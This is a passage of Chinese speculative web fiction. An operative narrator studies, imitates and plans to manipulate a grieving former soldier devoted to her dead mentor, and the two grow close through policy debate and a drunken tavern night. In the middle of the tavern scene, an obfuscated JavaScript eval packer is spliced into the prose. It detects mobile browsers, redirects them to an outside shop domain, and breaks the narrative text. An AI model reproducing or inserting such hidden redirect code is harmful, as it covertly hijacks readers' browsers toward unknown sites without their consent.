我不知道。但那一刻,我盯着那张模糊的侧脸,盯着那道小小的白色月牙,一个任务指令之外的念头猝不及防喷涌而出:她凭什么?凭什么这个皮肤上留着缝合线、呼吸里带着街头尘埃与消毒水混合气味、连合法身份都要靠战功去赌的非法造物能独占凌霄最后的目光?凭什么她能拥有那些疯话,那些凌霄在生命的最后时刻,选择告诉她、而不是告诉任何一个合法的与她有联结的伴侣私语?而我!我背诵凌霄的每一篇众开演讲,不是背诵内容,是背诵节奏:她在哪个词之后会停顿几秒以制造悬念,在哪个数据引用时会微微提高音调以强调权威,在哪个段落收尾时会让声音下沉。 我临摹她的笔迹,临摹压力变化:写责任时笔尖会下压;写可能时笔画会轻盈,尾钩上挑;写伏人时,这是我观察最久的,她会先写人字,再在前面添上伏字。我幻想有朝一日,我能穿上同样尺寸的制服,站在她曾站立的位置,用她的视角俯瞰这片被紫云笼罩的疆域。我想象那种重量,不是布料的重量,是目光的重量,所有曾注视过她的人,会不会也把那些目光余温投射到我身上?可她甚至不知道我的名字。在她浩如烟海的改革蓝图里,在她密密麻麻的干部培养名单里,在她那套精密如表的社会系统设计里,我,姞玄,只是一个模糊到名为年轻群体的统计数字,是柱状图里的一根,是饼状图里的一角,是趋势线里一个可以被平均值平滑掉的波动。 忮忌。是的,就是这个词。不甘愤懑、委屈以及对毁灭的渴望,我渴望什么?渴望被看见,被那个我模仿的对象看见,被那个我忮忌的对象看见,渴望证明:我比那个街头爬出来的、满身是刺的作品,更配得上凌霄的注视,哪怕那注视只是学术性的欣赏,只是对合格零件的确认。而任务给了我这渴望一个合法通道,我要接近她,不只是为了取东西更是为了验证,验证凌霄的眼光,验证她选择虎杖,是出于某种深刻的我无法理解的正确,还是仅仅只是一次感性失误、一次对残缺美的短暂迷恋? 然后,亲手毁掉这份验证结果,如果它让我太痛的话。如果虎杖真的拥有某种我永远无法企及的、被凌霄珍视的特质,那么最好的方式就是让这特质消失。拆解掉她,一层层剥离她的信念、她的记忆、她对凌霄的忠诚,直到她变成一堆可以被分类归档的信息残骸,然后我就可以冷静分析:看,不过如此,凌霄看错了,她只是被拯救者情结蒙蔽了判断,这逻辑允许我同时扮演三个角色:忠诚的执行者,严谨的研究者,隐秘的复仇者。 我径直走进书房打开档案库,是我用七年时间建立的名为凌霄地质学的非法数据库。 里面有: · 她某次演讲后随手丢进废纸篓的草稿纸。纸上用红笔划掉了一段话:“……我们必须承认,对伏人的恐惧,本质上是对自身创造力枯竭的恐惧。我们创造她们,是因为我们害怕自己已经无法创造新的东西。” · 她常用的一款墨水空瓶。颜色是介于蓝与黑之间的深靛,干燥后会泛出细微银闪,我收集了十二个空瓶,按时间排列,发现随着年份推移她用的墨水量在增加,是文书工作变多了,还是她想写下的无法众开的话变多了? · 她批阅过的文件复印件。我用色谱分析仪扫描页边批注的墨迹浓度变化,发现她在批阅关于伏人战后安置的文件时墨迹会比批阅常规政务文件深三个色度。 现在,我要在这个数据库之上,构建一个儿集:《歌虎杖的情感地质模型》 数据来源: 1. 童年地层(10云前): · 街头流浪记录片段。 · 第一次被捕记录。 · 身体伤痕分布图。 2. 改造期地层(15-21云): · 凌霄亲自撰写的《个体社会化进度报告》,每月一份共72份。早期报告充满挫败感:“拒绝学习标准语法”、“对时间概念漠视”、“将规则理解为可测试其坚固程度的墙壁”。后期报告语气渐变:“开始主动查阅法律条文”、“在模拟危机处理中表现出超越预期的战略直觉”、“仍无法理解情感分享与资源交换的区别”。 · 政务厅同事匿名评价。 · 她自己写过的唯一一份正式文书“……战功换合法,是契约。契约履行后,甲方应提供后续支持系统,否则契约本质是欺诈。现有安置方案等于将士兵一次性买断,无视其作为人的持续发展需求……”提案被驳回,批注是:“情绪化表述,缺乏可操作性。” 3. 关系核心地层: · 监控录像分析 · 空间距离 · 肢体朝向 · 眼神轨迹 · 言语交互:从有限的录音片段分析,她与凌霄对话时,句子简短,多用实词,少用修饰。凌霄对她说话时,语速会放慢,关键词会重复,像在教认字。 4. 心理构造推测: · 安全感黑洞:童年多次被遗弃,导致她对被抛弃有创伤级的敏感。表现为过度忠诚、对承诺的字面主义执念、以及潜在的测试行为。 · 身份认同撕裂:她接受凌霄的改造,学习女人的思维与礼仪,但生理上仍是伏人。这造成内在的分裂:她是凌霄作品也是伏人异类。她既不属于女人世界,也不属于原始伏人世界,她是悬停在两个物种之间的蝙蝠,既非鸟,也非兽。 · 情感投射惯性:凌霄是她生命中第一个主动选择她、并对她持续投入资源的高位者。她对凌霄的情感,很可能是依赖崇拜感激、被驯化的顺从、以及未被满足的独占欲的复杂化合物。 模型初建完成时窗外天已微亮。我看着光屏上那个由数据点构成的歌虎杖,写下任务策略核心:将自己锻造成能完美填补她心理缺口的定制补丁,成为她渴求的第二个凌霄,一个更年轻、更易操控、并且最终会背叛她的版本。这是情感工程学,我将成为注入她系统的特洛伊木马。 她会接纳我,因为我是她唯一能理解的情感语言的新载体。她会依赖我,因为我提供了她最渴求的东西:被一个像凌霄的人,用凌霄的方式看见和理解。然后在她最不设防的时候,也许是在某个她再次把我错认为凌霄、对我倾诉疯话的夜晚我将启动程序,提取所有数据,然后执行最后的指令:拆桥。拆掉她对凌霄的信仰之桥。拆掉她作为凌霄遗产继承人的合法性之桥。拆掉她作为一个完整的人的精神支柱之桥。做完这一切,我将回到我的生活,而歌虎杖,她会变成什么?一堆被拆解后的零件?一具情感废墟?一个因为过度精神压力导致行为失常而被送进疗养院的前伏人英雌?不重要。在系统评估里,她只是被成功拆除的骨刺,病历上会多一行诊断,档案里会多一份后续处理报告,统计表格里潜在不稳定因素一栏的数字会下降一个百分点。 完美。 我把模型加密存档,晨光透过百叶窗在地板上切割出光带,我看着那些光带忽然想起小时候在自然馆看到的一具化石,那是一种史前海洋生物,它有一对巨大复眼,视力极好,是当时的顶级掠食者,但化石显示,它的消化系统非常简单,几乎只能处理最原始的营养物质。解说员说:“它看得见整个海洋的繁华却消化不了其中任何一片微小的浪花。”那一刻,我莫名哭了,现在我理解了那种哭泣,我即将成为情感世界里的它:用精密模型分析每一道情感纹路却注定无法消化她生命里最真实最滚烫的痛苦与渴望,因为消化需要共情,而共情,是这场任务里第一个被预先拆除的器官。” 姞玄: “第一次接触后的第七天我意识到一个残酷事实:皮毛模仿是赝品的自供状。虎杖那双眼睛早已看穿了我涂抹在表面的凌霄釉彩,她容忍我,不是因为我模仿精湛而是因为废墟也需要守夜人,我必须进入更深层的东西:凌霄的思维宫殿。 我向档案馆提交了《已故高阶官员工作方法论比较研究:以奸部三任总督为例》的立项申请,一个冠冕堂皇到令人打哈欠的学术幌子,批文下达附带小字:“权限等级:准三级。不得复制原始手稿。阅览时需有档案员在场。”她带我穿过三道气密门,进入恒温恒湿的记忆地窖,空气里混合着旧纸防虫剂和衰老智慧的气味:“凌霄总督的资料在第七区,第三排,第四到第十二柜。每天最多调阅五份原件,每次不超过三小时,不准带笔,只能用手写板记录,手写板离开时会自动清空。” 那是思维的废墟场: ·草案草稿:一份关于《伏人战后职业技能培训体系重构》的提案,前后修改了十七版。第一版字迹狂放,边缘写满了愤怒问号:“她们不是机器!为什么非要培训成有用的形状?!”最后一版字迹工整,所有情绪化的词都被替换成中性术语:“……基于资源优化配置原则,建议建立差异化技能模块,以适配伏人群体的特殊生理构造与认知偏好。” ·纪要边角:在关于灵骨矿脉开采配额的激烈争吵记录旁,她用细笔尖写下一行小字:“媞皇碎骨成矿,我们碎矿成利。进步?” ·批阅报告时的页边情绪泄漏:一份例行财政报告,她在某个数据旁画了个圆圈。 ·私人笔记本的碎片:1. 系统稳定性 ≠正义 2. 但系统崩溃 = 所有人的灾难 3. 如何在稳定中镶嵌正义?,需要一种新的社会镶嵌工艺学。 页角被反复折叠,纸纤维断裂,这一页被无数次打开又合上。 第七天,我发现了她的核心算法,是她自己发明的、用来解构任何社会问题的三步解构法:第一步剥离情感皮肉,将任何议题的情绪外壳,民众愤怒同僚同情自身恐惧,都剥下来摊在一边。第二步测绘力量地图,皮肉之下是社会骨骼与利益结构,她的笔记里画满了各种关系图:节点代表个人或团体,连线代表资源流、信息流、忠诚度或威胁值。连线有粗细、有颜色、有箭头。她擅长找出结构性疼痛点,某个节点承担了过大的压力流,某条连线因为资源枯竭而变得脆弱,某个三角关系形成了僵化的疼痛三角。第三步设计增量路径,她迷恋微小可逆能带来即时反馈的调整,比如改善伏人矿工的待遇,先在矿坑入口安装质量更好的空气过滤器,成本可控效果可见。比如要推动改革法案,先在三个试点区域推行简化版,收集数据,培养受益者群体,让反对派看到没那么可怕再逐步扩大范围。 我决定,将这套方法论作为下一次接近虎杖的投名状,我要让她看到:我不仅模仿凌霄的外壳,我理解她的内核,我是她思维血脉的合格继任者,至少在表面上。 机会到来。 会议室似是透明鱼缸,长方桌两侧坐着来自八个部门的代表,争论很快陷入僵局,不是激烈争吵,只是彬彬有礼的平行独白。 支持方妖部代表:“我们必须考虑人道主义的温度。燃料不是数字,是老人膝盖不再酸痛的可能性,是孩子手指不被冻疮侵蚀的保障。艺术告诉我们,美在温暖中枯萎,在寒冷中绽放。” 反对方奸部司长:“数据告诉我们,东南区上季度情绪波动指数在燃料充足的情况下,仍高于平均值7.3个百分点。这说明情绪问题不单纯源于物质匮乏,增加配额是治标不治本,且会挤占北区新启蒙中心的教育预算,那才是治本。” 我坐在后排,手写板上已经画满了关系图:燃料配额→取暖时长→身体健康度→情绪稳定性→工作效率→税收贡献→财政可分配额度→教育/医疗/燃料的再分配……一个闭合的却处处泄漏的循环。虎杖坐在前排靠窗的位置,她侧着脸望着窗外缓慢移动的紫云。 当第三轮平行独白开始时我举起了手,“诸位,我们是否可以暂时搁置该不该的立场辩论,回到一个更基础的技术性问题?” 我打开手写板将屏幕投影到中央光幕: 变量X = 燃料配额增量(吨) 变量Y1 = 预估身体健康度提升指数(基于历史医疗数据回归分析) 变量Y2 = 情绪波动下降预期值(基于温度-情绪相关性研究) 变量Z = 财政成本(含运输、分配、损耗) 约束条件 = 北区教育预算不得低于阈值L,总财政支出增长率不得高于R “如果我们把人道主义暂时量化为健康度与情绪稳定度的加权和,那么问题可以简化为:在约束条件下,求目标函数 Max(αY1 + βY2 - γZ) 的最优解。其中α、β、γ是权重系数,需要伦理委员会核定。目前争论的焦点,本质是权重系数的分歧:反对方认为γ(成本权重)应该更大,因为资源有限;支持方认为α和β(健康与情绪权重)应该更大,因为人的价值无法用货币完全折算。但如果我们引入时间变量T,考虑东南区矿脉的周期性枯竭对运输成本的影响以及伏人群体的预期满足效应,那么我们真正要讨论的,不是给不给,而是何时给、给多少、以及如何设计退出机制以避免依赖陷阱。”我缓缓坐下目光第一时间投向虎杖,她不再看云在看我,惊讶审视认同…不,不是对我这个人的认同,是对这套思维语法的认同,对她熟悉的、凌霄式的、将世界拆解成变量与方程的认知方式的认同。那一刻,我的心在狂跳,不是因为任务,不是因为成功,而是因为荒诞至极的被看见,被这个世界上最懂凌霄的人,在我模仿凌霄的思维中看见了某种像的东西,哪怕这像是表演出来的,哪怕我只是一个背诵了剧本的演员,但舞台上的灯光有一束真实照在了我身上,这就够了,足够让血液从冰点上升到伪装温暖……” 歌虎杖:“姞玄,妳的模型,推导过程有详细草稿吗?我想看看假设条件。” 姞玄: “有草稿。但比较乱,是手写的。” 歌虎杖:“明天下午我办工室,凌霄…她习惯在初始推演阶段用纸笔,她说屏幕的光会吞噬思维的手感。” 姞玄: “手感…她在向我展示缝隙,一道通往非总督的凌霄缝隙,同时也是一道测试题:我会如何回应这种私密分享?是受宠若惊?是故作镇定?还是只关注手感这个方法论本身?她转身离开,空气里有她留下的味道:混合着草药金属和类似书库尘埃的气息,还有一丝属于凌霄的尾调,是浸染,像一个人长期待在特定气味的环境里,织物皮肤甚至呼吸都会慢慢被那气味渗透,她的办工室,她的制服,她的存在本身,都还顽固保留着凌霄的嗅觉印记。 而明天下午,我将走进那道划痕深处。” 姞玄: “她的办工室在政务厅西翼七楼,一个靠角落的房间,门上没有名牌,只有一串数字编码:0709。推开门第一印象是极致秩序,那是思维容器的实体化: · 空间划分:功能分区。左侧是数据区,三面墙数据屏,实时滚动着东南区的情绪热力图、资源流动图、舆情关键词云。屏幕亮度调得很低,右侧是思考区,实木书桌桌面空旷,只有一台老式台灯、一个笔筒一盆绿。 · 色彩系统:主色调灰白蓝。没有装饰没有照片没有任何个人化的痕迹,唯一带颜色的是书桌一角,放着一个手掌大小的陶土杯,那是虎杖很多年前在政务厅手工艺兴趣课上做的。 · 气味层次:第一层是清洁剂和臭氧的味道,第二层是旧书和油墨,第三层是雪松香薰,从角落香薰机里丝缕渗出,第四层是虎杖本身的气息。” 歌虎杖:“坐,雪松茶,她喜欢的。这里,妳假设情绪波动与温度呈线性相关,但伏人的生理构造导致耐受阈值比女性低6到10摄氏度,在冷但不至于冻伤的区间,她们的情绪反应可能不是线性的而是阶梯式的,一旦低于某个临界点指数会跳升。” 姞玄: “有数据支持吗?” 歌虎杖:“三年前的冬季,东南区第七安置点发生过一次小型骚乱。事后分析发现,当室内温度低于14摄氏度时,伏人的攻击性行为发生率突然上升了300%,而女性在同样温度下只是抱怨增多,报告认为这可能与伏人皮肤下的灵骨微循环对低温更敏感有关。” 姞玄: “那么,我们需要重新定义舒适温度区间,并且在配额分配时考虑不同安置点建筑的保温性能差异,保温差的需要额外补偿。” 歌虎杖:“继续。” 姞玄: “我们就这样,一个点一个点地推进。她像一台逻辑检验机,能瞬间找出我模型中最薄弱的接缝,但她连质疑方式都是凌霄式的…” 歌虎杖:“这个衰减系数设得很有意思。但如果考虑到北区矿脉的周期性枯竭对运输成本的影响,我们是不是需要引入一个时间变量T做动态调整?这里的抽样范围覆盖了情绪显性表达,但伏人群体的隐性压抑,那些无法通过标准传感器捕捉的、向内吞噬的绝望,有没有可能成为巨大误差源?比如,更高的自杀倾向预警?” 姞玄: “更让我心惊的是她的思维节奏。当我用凌霄的方式提出一个观点,她会用凌霄的方式回应,当我模仿凌霄的论证结构,她会自然而然地接上那个结构的下一个环节,就像两个演奏者,虽然乐器不同但奏的是同一份乐谱。 窗外天光从正午刺白变成午后淡金再沉入傍晚紫灰,但我们浑然不觉,偶尔简短提问与回答构成了一个密闭自洽只属于思维的结界。在这个结界里时间不再是线性流动的秒针而是思维碰撞产生的火花数量,在这个结界里,空气不再是呼吸介质而是承载逻辑推演的透明载体,渐渐地,我产生了一种幻觉:我和虎杖之间,那张宽大书桌上,坐着第三个人。一个由我们两人的思维碎片、记忆残影、对同一种方法论的执念,拼凑出来的、姞凌霄的幽灵。它没有形状没有声音但它存在,它存在于我们交替使用的术语里,存在于我们心照不宣的论证习惯里,存在于每当一个复杂问题被拆解清晰时我们同时露出的满足愉悦里,那是属于建造者的愉悦,当妳用逻辑砖石成功地在混沌现实上垒起坚固墙壁时的愉悦,凌霄毕生追求的正是这种愉悦。而现在,我和虎杖,两个本该站在不同阵营、怀着不同目的的人,却在同个昏暗办工室里共同喂养着同个幽灵…” 歌虎杖:“今天就到这里吧。妳研究她,多久了?” 姞玄: “……谁?” 歌虎杖:“姞凌霄。妳论证时的起承转合,先破题再列举二到三个核心变量,然后展示变量间的相互作用最后回到初始问题,给出一个谨慎带有诸多限制条件的结论,甚至妳倒茶放茶叶时的摇晃三下……” 姞玄: “我被当场抓获,不仅偷了东西,还把赃物大剌剌地挂在脖子上还在失主面前得意炫耀,脸颊开始发烫,耳朵嗡嗡作响…” 歌虎杖:“别紧张,我不讨厌影子。她走后,很少有人还能用她的方式想问题了,人们只记得她是个改革者是个符号,忘了她首先是个笨拙到想把整个世界理顺的偏执女人。” 姞玄: “笨拙。这个词攻击了我。我见过凌霄在众开场合的游刃有余在危机处理时的冷酷果决,从未想过有人会用笨拙来形容她,但虎杖看到了…“妳很想她。”我听见自己干涩的声音。” 歌虎杖:“这与妳无关。” 姞玄: “她侧身示意我离开,我走出去,背后传来门关上的声音,隔断了刚才三个小时里建立起的思维通道。她看穿了我,看穿了我的模仿,我的算计,我试图用凌霄的思维模式作为诱饵的卑劣企图,她看穿了却允许这一切继续。为什么?因为寂寞?因为对逝者的思念无处安放,以至于一个粗糙到动机可疑的赝品也能暂时充当灵堂里那具蜡像的陪聊者?还是说这是更残酷的惩罚?让我清醒地扮演,清醒地知道自己永远只是影子,清醒地沉溺于这虚假的亲近,并在这亲近中一步步交出我自己都未察觉的情感投资?脑海里反复回响她那句话:“我不讨厌影子。”影子,我是影子,她是守着墓碑的活人,我们之间隔着那具冰冷又无处不在的尸体,横亘在我与她之间,那道名为“姞凌霄”的、绵延不绝温暖死去的永恒墓碑。我在这边,用尽解数模仿墓碑上的铭文,希望自己的笔迹能像一点再像一点,她在那边用尽余生拥抱墓碑,试图从石刻的纹理里榨取出最后一点残留体温,我们之间最近的距离,不过是这三个小时里在虚空中的短暂交汇,是那个由我们共同召唤的幽灵,而真实的我们,一个是不敢承认自己渴望被看见的模仿者,一个是拒绝任何人靠近悲伤圣地的守墓人,这桥,真能造吗?还是说,从收下命令的那一刻起,我要造的就不是桥,而是一座用来囚禁她和我自己的牢笼?不知过了多久腿部麻木将我拉回现实,我挣扎着站起来,扶着墙壁慢慢走向电梯,我走进书房打开日志,光标在空白处闪烁。我该写什么?写信任建立取得突破?写目标对凌霄思维模式有情感依赖?写建议深化此特质,向情感层面渗透?那些术语此刻像一堆干枯虫壳让我作呕。最终,我敲下的是私人日记,只有一行字:她办工室的绿萝,长得真好。” 姞玄: “突破办工室结界后,虎杖开始带我进入一些更危险的领域,那些地方,是凌霄留下的、未被系统归档的私人遗迹。是总督身份之外,那个作为姐姐、作为某个短暂爱过的人的凌霄曾经呼吸过的空间。 第一家,是轻轻拥抱,酒馆藏在改造区边缘一条被遗忘的巷子深处,酒馆门楣上挂着一串风干辣椒和一只生锈铜铃。里面很暗,只有吧台后方点着一盏油灯,灯焰稳定燃烧,投下摇晃的巨大人影,老板坐在吧台后的高脚凳上,她抬起左手做了个手势,五指张开然后缓慢收拢。” 歌虎杖:“她在打招呼、意思是欢迎,自己找地方坐。” 姞玄: “虎杖熟门熟路走向里间,我们坐下,几分钟后老板端着一个木托盘走过来,盘子上放着两杯透明液体,杯壁很厚,边缘有细微缺口,还有一小碟腌渍到看不出原貌的黑色根茎,她把东西放下伸出食指,在自己心脏的位置轻轻点了三下。” 歌虎杖:“她在说保重。这是姐姐最爱的酒,她说好酒让人忘记烦恼坏酒让人记住烦恼,她不想忘记。看这里。” 姞玄: “我凑近。在桌面年轮纹理的深处刻着一行小字,字迹是凌霄的,我认得,但和我熟悉的批阅工文时工整有力的字体不同,这行字潦草又颤抖:“给阿刺,如果她还愿意要。485旋”阿刺是虎杖的早期名字。虎杖的手指开始抚摸那行字,是朝圣般的触摸,指尖极其缓慢地划过每个笔画,感受刻痕深度边缘木刺,一遍两遍三遍,她的呼吸变得很轻。” 歌虎杖:“她第一次带我来这儿,是我背完《临时安置条例》全文的那天。一共七章八十四条外加三个附录,我背了一个月,背错一个字她就让我重头再来,背完最后一条,她合上书看了我很久,然后说:‘走,带妳喝一杯。’我以为她会带我去政务厅的高级餐厅,或者至少是个像样的酒吧,但她带我来了这里。我当时想,这是什么鬼地方,桌子油腻椅子硌人酒像毒药,但她很高兴,她喝了三杯,我喝了一杯,她酒量其实很差,偏要逞强,醉了她就唱歌,唱她北境老家的歌谣,荒腔走板,难听得要命。我笑她,她就用筷子敲我的头,说:‘笑什么?这是艺术!祖姥姥传下来的艺术!’那是我第一次觉得她不是一座神像,她是一个有温度有弱点会丢脸的人,会在我背不出条例时皱眉,会在我受伤时给我塞更好的药膏,会在我第一次独立完成一份报告后,揉乱我的头发,说还不赖。可那样的她只活了那一晚,酒醒之后她又变回了姞总督,而我,又变回了她的作品,她再也没那样笑过再也没喝醉过再也没叫过我阿刺,只有歌虎杖,只有该怎么做,只有记住身份。” 姞玄: “她……很信任妳” 歌虎杖:“信任?也许吧。但更多是责任。她总说,既然把妳从泥里拽出来了,就得负责把妳洗刷干净,教妳认字,教妳在这个世界怎么体面地活下去。有时候我觉得我不是一个人,我只是她的作品,名叫论非法造物的社会化改造可行性。她在我身上倾注心血,测量数据,调整参数,只是为了验证她的理论。我达标了,她就能安心毕业。我失败了,就是她履历上的污点。” 姞玄: “‘妳不觉得她是爱妳的吗?’话一出口我就后悔了,这太逾越了太窥探了。” 歌虎杖:“爱,妳们女人的爱,是什么样的?是流动的,对吗?像水,今天可以浇灌我这棵歪脖子树,明天就能去滋养另一片花园。她有过别人,我知道,一个妖部的雕塑家,一个嫖部的观星者,还有我不认识但存在过的人。她给过我的是责任是教导是‘希望妳能成器’,她给过别人的可能是拥抱是亲吻是深夜不必谈论政务的耳语,妳说,哪种算爱?” 姞玄: “我无法回答。我在她眼中,看到了某种未来可能的、我自己的倒影:一个同样渴望着独一无二却注定只能得到其中之一或之一部分的可悲影子。我们都在仰望同一轮月亮,她以为月亮曾为她停留却发现月光洒在很多人肩上,而我,连被月光照耀的资格都要靠假借别人的形状去偷取。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334282|199211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 歌虎杖:“所以,别问我她爱不爱我,我不知道,我只知道…我只知道,她把最后一点私心刻在这里了,这就够了,够我撑下去了。” 姞玄: “那晚我们喝光了整瓶酒,我扶她起来,她的额头抵着我的脖颈,皮肤滚烫含糊呢喃:‘姐姐…冷…’我僵住了。不是我,她在叫凌霄,我只是一具恰好在她需要时出现带有相似气味的躯壳,一具能暂时承载她对那个逝者渴望的容器。可下一秒迷蒙目光落在我脸上,然后她伸出手‘妳哭了?’我的心在哭,为我,为她,为凌霄,为这荒唐错位的、所有人都爱着幻影或影子的夜晚。 我没有回答,只是架着她踉踉跄跄地走出酒馆,老板在吧台后抬起手又做了个手势:五指并拢从胸口向前平推,虎杖勉强抬头对她点了点头,‘她在说一路平安。’虎杖解释,然后彻底醉倒在我肩上。” 姞玄: “送她回到工寓的过程像一场梦游,她靠在我肩上沉睡呼吸平稳眉头紧皱,就好像在梦里还在和什么搏斗。我扶她进门打开灯,我愣住了,这不是一个家这是一座活人居住的纪念馆。 · 空间:家具摆放、物品陈设,几乎完全复刻了凌霄生前办工室的格局。同样的书桌朝向,同样的椅子角度,同样的数屏位置。甚至窗台上那盆绿萝都长得和办工室那盆一模一样,她可能偷偷扦插了分枝。 · 气味:香薰机在角落里无声工作,空气净化器嗡嗡低鸣,努力维持着熟悉的混合了旧书墨水的气息。 · 物品:书架上,凌霄的著作被放在最显眼的位置,旁边摆着几个相框,不是照片,是数据芯片的实体封装壳,标签上写着凌霄某次重要演讲的日期。衣柜半开着,里面挂着几件明显属于凌霄的旧衫,熨烫平整,像等待主人再次穿上。这里没有歌虎杖的痕迹只有凌霄妹妹凌霄作品的痕迹。 我把她安置在床上盖好被子,她睡得很沉,手指偶尔会抽搐,嘴唇无声开合,像在梦里和谁对话。她的呼吸渐渐平稳,我的目光无法从她脸上移开,她看起来很年轻,比实际年龄更年轻。 我想起妙姑的话:‘一样一样取出来。’她怀里有什么?除了那些账本密录政治遗产还有别的吗?有没有那些从未对任何人说过的真正属于阿刺的恐惧与渴望?有没有那些在凌霄死后,再也无处安放的要把她自己烧穿的孤独? 任务指令在我脑中回响:取得信任,获取情报,必要时拆桥。但此刻,坐在这间充满另一个女人气息的房间里,看着这个把我错认为那个女人的醉鬼,我感到一种前所未有的空洞。我是在执行任务吗?还是在我自己都未察觉的深处,我也在渴望着什么?渴望着被这样一个人,用这样全然绝望的专注记住和思念?哪怕思念的对象不是我,哪怕我只是一个替身,但替身也是被需要的,我那三位伴侣,她们需要我吗?还是只需要一个符合社会期待的情感配置方案?如果我明天消失,她们会难过,但很快会有新的姞玄填补那个位置,在系统里人人都是可替换的零件,而在这里,在这间疯狂的纪念馆里,在这张床上,这个女人,她为了一个已经死去的人把自己变成了不可替换的废墟,哪种更可悲?是作为零件被完美使用然后丢弃?还是作为废墟固执纪念着一个再也回不来的幻影? 我不知道,头开始疼。就在我准备起身离开时她的手从被子里伸出拉住了我的衣角,‘别走。就一会儿…假装妳是她…假装今晚我们只是两个人…没有政务没有伏人,没有那些该死的数据…’我该怎么做?甩开她的手回到安全有序的世界?还是留下来继续扮演这个荒唐角色?她又开始呢喃,身体无意识蜷缩起来向热源靠近,她的额头抵在了我的大腿外侧,我能感觉到她皮肤的滚烫和她呼吸的潮湿。 我允许了,这个认知刺穿了我所有自我辩护的绝缘层。我允许她把我当成凌霄,允许她的指尖带着酒精和街尘混合的温度触碰我眼角那片从未湿润过的皮肤,允许她滚烫的额头烙在我的大腿外侧,允许她将碎未碎的呼吸,喷在我制服第二颗纽扣下方,那块最接近心脏也最容易被心跳出卖的区域。我甚至最不可饶恕的允许了自己,允许自己在那一刻脊椎深处窜起微弱清晰的电流,那不是愉悦不是厌恶只是被错认的僭越感,我通过这具模仿来的躯壳暂时窃取了属于凌霄的位置,一个我从未获得却在暗处觊觎许久的、能被她如此毫无防备地依赖的位置,那电流是卑劣的,带着窃贼得手瞬间的眩晕,也带着观看圣像被亵渎时信徒心中翻涌的惊惧与兴奋。 我背叛了,三重背叛。对职业操守的背叛,执行任务需要弹性,与目标建立非常规连接可以是策略,不,这借口现在连我自己都糊弄不了,策略不会让我的指尖在离开她工寓三个小时后还在神经质地重温她皮肤过高的温度,策略不会让我的鼻腔黏膜至今储存着那间屋子里雪松旧墨与伏人腺体分泌的混合气味,策略是清醒的算计,而我那时…我几乎忘形。对我自己的背叛,我精心构建了姞玄这个角色:冷静的分析员,高效的执行者,情感多频道但永不陷落,可昨晚那个角色裂开了缝,缝隙里探出头的,是一个会为被需而脊椎发麻的饥饿东西,一个我以为是遗骸的瘢痕组织。最重的一重背叛是对凌霄,我成了卑鄙的情感盗贼,我没有偷她的功绩,没有偷她的思想,我偷的是她死后依然被某人用全部生命热度供养着的最后幻影。我让她的幽灵在我的躯壳上短暂附体,接受了那份本应只属于她的滚烫依赖,这是对逝者存在痕迹的污染,比毁坏档案更下作,因为档案是死的,而记忆是活的,我玷污了记忆的活体。 走廊的地板很凉,我把额头抵在膝盖上,为了压制颤抖,那是系统过载后的震颤。我的内部,那套用来处理情感信号的精密仪器,情感光谱仪、同理心调节阀、道德风险评估模块,此刻屏幕全花跳动乱码,我试图启动逻辑自检程序:分析情境,归因动机,评估后果,但代码运行到一半就崩溃了,因为输入变量里混入了无法被量化的杂质:指尖触感、呼吸湿度、以及那句“冷”里包含的超越字面意义的存在性寒颤。 怜悯。是的,怜悯像一滩温吞的脏水,漫过我的理性堤坝,但那是居高临下的怜悯吗?不,当她用那种全然动物般的信任蜷缩过来时我感到的是近乎同谋的怜悯,我们都是困兽,她困在对逝者的爱里,我困在对生者的模仿与渴望里,我们的笼子材质不同,她的是记忆青铜我的是野心合金,但锁链摩擦的声音听起来一样刺耳。 忮忌。对凌霄的忮忌,我忮忌她能被如此记住,不是被历史记住,是被一个人用全部感官、用每寸重新布置的居住空间、用醉后失智的体温,如此具体疼痛不容置疑地记住。我的伴侣,她们会如何记住我?大概是一组习惯偏好数据:喜欢22度室温,咖啡加半份奶,周二晚上讨论众共政策时思维最活跃。那些数据温暖体面、可供存档和替代。而虎杖记住凌霄的方式,是献祭的。她把活生生的自己做成了安放那段记忆的棺椁,这种被记忆的烈度,让我忮忌到牙龈发酸。 最危险的是好奇。它缠绕上我的脊椎,向我的大脑皮层嘶嘶吐信:我想知道更多。想知道那行刻字“给阿刺”之前之后的所有上下文,那些被木头纹理吞没的、没有变成物理刻痕的对话与眼神。想知道她口中“冷”的具体坐标,是皮肤表层的温度缺失?是骨髓深处对温暖源头的渴求?还是灵魂在意识到所爱已化为星尘,而自己仍需留在这重力浑浊的人世时所感到的那种宇宙尺度的寒意?更致命的是:如果剥掉“姞玄”这层模仿者的画皮,如果我不是带着任务、不是揣着对凌霄的畸形崇拜接近她,如果我仅仅是…一个对她故事感兴趣的无关的陌生人,她会向我展露多少?那具充满防卫的躯体里是否还藏着未被凌霄目光完全塑形的、属于歌虎杖本身的原始地貌?这好奇是职业性的吗?是间谍对情报源的深度挖掘欲?我想绘制歌虎杖的情感地质图,而这份工作已经与任务指令产生了危险偏离,指令要求我获取情报然后拆桥,但地质学家不想拆桥,地质学家想研究桥的构造,研究它为何能跨越不可逾越的裂谷,研究筑桥材料里混合了多少砂浆和钢筋。 我就这样坐着,让这些互相冲突的思绪在颅腔内翻滚对冲,冷却成新的怪异的地质构造,直到走廊尽头那扇窗户透进紫云星典型非自然的天亮。我挣扎起身回到那间温控精准的工寓,面对那三位伴侣,我像一个故障的仿生人,播放着预设的疲惫笑容,说着没事,有点累的标准应答。 浴室的水很热,烫得皮肤发红,但我知道有些污渍是水洗不掉的,那是灵魂的染料,昨夜的一切,酒馆陈腐的空气、木头刻痕的触感、她额头的滚烫、还有我心口那道正渗出陌生情绪的缝,已经像高渗透性的染料渗入了我意识的织物纤维。我可以继续穿着姞玄这件制服但内衬已经变了颜色,一种危险的柔软的不属于合格零件的颜色,正在我体内缓慢晕染苏醒。 